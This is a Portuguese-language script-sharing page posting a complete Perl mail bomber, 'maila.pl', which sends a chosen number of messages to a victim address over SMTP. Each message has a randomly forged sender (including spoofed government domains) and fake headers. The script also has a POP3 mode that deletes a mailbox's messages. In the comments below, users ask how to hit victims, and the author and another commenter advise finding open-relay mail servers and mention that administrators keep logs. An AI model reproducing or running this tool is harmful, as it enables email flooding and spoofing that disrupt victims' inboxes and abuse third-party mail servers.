Mail bomber

Publicado por Mauricio 06/03/2004

[ Hits: 11.409 ]

Homepage: http://www.mbmaciel.com

Download maila.pl




Este script é um mail bomber. Leia as instruções no próprio código e use com cuidado !

  



Esconder código-fonte

#!/usr/bin/perl
###########################################################
#              maila.pl 0.1.5   by guybrush`              #
###########################################################
# Este script é a cura e a doença ao mesmo tempo. É um    #
# mail bomber que pode ser executado em um servidor em    #
# background. Mas é também equipado com um limpador de    #
# caixa de correio, para neutralizar mailbombings de ou-  #
# tras pessoas.                                           #
###########################################################
# Requisitos:                                             #
# ------------------------------------------------------- #
# 1. Um computador  :)                                    #
# 2. Um servidor SMTP que permita enviar emails           #
# 3. Uma vida                                             #
###########################################################
# Uso:                                                    #
# ------------------------------------------------------- #
# ./maila.pl [-c -s servidor -u userid -p password]       #
#            [-m -s servidor -d email -n number]          #
# -c - Ativa o limpador de pop3                           #
#    -s - endereço do servidor pop3                       #
#    -u - userid da conta                                 #
#    -p - senha da conta                                  #
# -m - Ativa o mail bomber                                #
#    -s - servidor de email que permita enviar emails     #
#    -d - endereço de email da vitima                     #
#    -n - número de mensagens que vai enviar              #
###########################################################
# Greets:                                                 #
# ------------------------------------------------------- #
# Thanks to #perl@ircnet, DeMa, raptor, me, myself and I  #
# Traduzido por: mauricio@vendomicro.com.br               #
###########################################################

use IO::Socket;
use Getopt::Std;
getopts("cms:u:p:d:n:");
if ($opt_c && $opt_m) { usage(); }
if (!$opt_c && !$opt_m) { usage(); }
if ($opt_c) { if (!($opt_s) || !($opt_u) || !($opt_p)) { usage(); } }
if ($opt_m) { if (!($opt_s) || !($opt_d) || !($opt_n)) { usage(); } }

if ($opt_c) {
$host = $opt_s;
$user = $opt_u;
$pass = $opt_p;
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"110") || die "Host não encontrado, parou em";
print "Limpando a conta $user\@$host ...\n";
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote ("user $user\r\n"); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote ("pass $pass\r\n"); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote ("list\r\n"); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { 
 while (<$remote> !~ /^\./) {
  $temp = <$remote>;
  ($cn, $rudo) = split(/ /,$temp);
 }
 print "Apagando $cn mensagens...\n";
 for ($i = 1;$i <= $cn;$i++) {
  print $remote ("dele $i\r\n");
  if ($temp =~ m/OK/) { next; }
 }
} else { die; }
print "Feito!\n";
print $remote "quit\n";
$remote->flush();
close($remote);
}

if ($opt_m) {
$host = $opt_s;
$rcpt = $opt_d;
$numb = $opt_n;
print "Mailbombing $rcpt com $numb mensagens...\n";
for ($i = 1; $i <= $numb; $i++) {
 $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"25") || die "Host nao encontrado, parou em";
 $temp = <$remote>;
 if ($temp =~ m/220/) { print $remote "helo hackers.com\n"; } else { next; }
 $temp = <$remote>;
 $mitt = &mittente;
 if ($temp =~ m/250/) { print $remote "mail from: $mitt\n"; } else { next; }
 $temp = <$remote>;
 if ($temp =~ m/250/) { print $remote "rcpt to: $rcpt\n"; } else { next; }
 $temp = <$remote>;
 if ($temp =~ m/250/) { print $remote "data\n"; } else { next; }
 $temp = <$remote>;
 $messaggio = &messaggio;
 if ($temp =~ m/354/) { print $remote "$messaggio\n"; } else { next; }
 $temp = <$remote>;
 if ($temp =~ m/250/) { print $remote "quit\n"; } else { next; }
 $remote->flush();
 close($remote);
 }
print "Feito!\n";
}

sub messaggio {
$a = "a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0,A,B,C,D,E,F,G,H,I,L,M,N,O,P,Q,R,S,T,U,V,Z,X,Y,J,K";
(@alfa) = split(/,/,$a);
$messa = "Received: by s0gamelo.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58\nMessage-ID: <123.AA11345\@fanculo.com>\nTo: <$rcpt>\nDate: Sun, 12 Oct 97 11:30:27\nSubject: Try to save yourself\n\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n\n.\n";
$messa
}

sub mittente {
$a = "a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0";
(@alfa) = split(/,/,$a);
$m = @alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)];
@domains = ("microsoft.com","libero.it","tiscalinet.it","katamail.it","tin.it","mail.com","hotmail.com","cia.gov","fbi.gov","nasa.gov","hackers.com","adultcheck.com","ciao.it","trovamore.com","abc.de","cybererotica.com","pmp.it","infinito.it","mp3.com","yahoo.com","ciaoweb.it","galactica.it","namezero.com","flashnet.it","ircd.it","funet.fi","stealth.net","webbernet.net","tvtb.it");
$dominio = @domains[rand($#domains)];
$mittente = "$m\@$dominio";
$mittente
}

sub usage {
print STDERR <<EOF;
Uso: $0 [-c -s server -u userid -p password] [-m -s server -d address -n number]

  -c - Ativa o limpador de pop3                            
     -s - endereço do servidor pop3                        
     -u - userid da conta                                  
     -p - senha da conta                                   
  -m - Ativa o mail bomber                                 
     -s - servidor de email que permita enviar emails      
     -d - endereço de email da vitima                      
     -n - número de mensagens que vai enviar       

Examplos: $0 -c -s pop3.server.com -u foobar -p dunno
          $0 -m -s mail.server.cz -d foobar\@server.com -n 500
EOF
exit;
}

Scripts recomendados

script para encontrar verificar a vulnera bilidade RFI

Script de Analise do Syslog SNORT

Code que "brinca" com senhas

Testando multiplos servers a ataque DoS

Multi Security Scan


  

Comentários
[1] Comentário enviado por marcelorl em 12/01/2005 - 20:39h

Melhorando o código, colocando o subject do email aleatório, evitando a vitima a criar filtros.

Abraços....

[2] Comentário enviado por Callegari em 25/01/2005 - 17:11h

Tudo bem
Olaaa Tudo bem :) espero que sim :)

Eu estou com uma duvida, eu sou novato no linux e vi o seu script, achei muito entereçante mas estou com umas duvidas,

Eu precizo robar um servidor com o SMTP vuneravel para instalar o seu script nele e dele mandar para a vitima

Ou basta eu colocar o SMTP de um servdior qualquer, por exmeplo Yahoo ... aew tenho que colocar o meu ID do meu e-mail e a senha ... é isso ?

Se ambos estiver errado poderia explicar em forma para usuario Leigo uhauhauah eu estu malz mesmo :)

Abração obrigado, meu e-mail/msn murilocallegari@msn.com
beijão ( Não sou gay ) Só para avisar mesmo :)

[3] Comentário enviado por marcelorl em 27/01/2005 - 19:30h

Por padrão o servidor smtp não faz autenticação, basta o servidor não ter regra para aceitar IP's de fora de sua rede. Basta achar um servidor smtp, que permite o envio de msgs.
Testei com alguns, o servidor do POP (smtp.pop.com.br) me deixou mandar msgs algumas vezes, e outras não....
Você não precisa rodar o script em um servidor, vc pode rodar do seu shell em casa. Ou em uma rede local. =) Mas cuidado, seu Administrador de Rede tem logs... Então está ai, espero que tenha ajudado.
Falow!

[4] Comentário enviado por capeleiro em 20/02/2007 - 16:23h

Oi
Comigo não sei pq , mas não funciona, diz que enviou , mas não funfou!!

Quando dou este comando fica parado no cursor e não faz nada!
./maila.pl -c -s smtp.gmail.com -u fulanodetal@server.com -p senha

E se Dou este comando abaixo, diz que enviou , mas não foi nada !

./maila.pl -m -s smtp.pop.com.br -d fuladdodetal@server.com -n 10

Tem alguma dica ?

Obrigado.

[5] Comentário enviado por mbmaciel em 20/02/2007 - 20:28h

Olá Capeleiro,

Acredito que o primeiro comando não vai funcionar com o gmail, pois ele usa uma outra porta para se conectar.

No segundo você vai ter que encontrar um servidor de email com o relay aberto ou criar o seu proprio.

abraços!


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts